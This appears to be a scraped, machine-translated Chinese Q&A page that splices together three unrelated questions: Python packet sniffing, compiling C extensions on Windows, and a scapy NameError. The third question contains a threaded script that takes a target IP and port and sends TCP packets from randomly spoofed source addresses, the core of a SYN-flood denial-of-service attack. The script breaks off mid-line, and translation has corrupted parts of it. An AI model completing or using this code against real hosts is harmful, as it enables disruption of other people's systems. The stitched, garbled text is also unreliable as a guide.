我想通过python(版本2.6)来嗅探我计算机中的所有HTTP数据包.这可能吗?我可以用scapy做,还是没有其他外部模块?
我有一个C扩展模块,分发内置的二进制文件会很好.Setuptools可以很容易地在OS X和GNU/Linux上构建扩展模块,因为这些操作系统附带GCC,但我不知道如何在Windows中执行.
我是否需要购买Visual Studio的副本,或者Visual Studio Express是否有效?我可以使用Cygwin或MinGW吗?
我正在用 Python 编写一个使用 Scapy 的脚本,但我的问题是例外是:
我 = IP()
NameError:未定义全局名称“IP”
这是我的脚本:
import random
from scapy import *
import threading
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = raw_input("-->")
class sendSYN(threading.Thread):
global ip, port
def __init__(self):
threading.Thread.__init__(self)
def run(self):
# Method -
i = IP()
i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
i.dst = ip
t = TCP()
t.sport = random.randint(1, …Run Code Online (Sandbox Code Playgroud)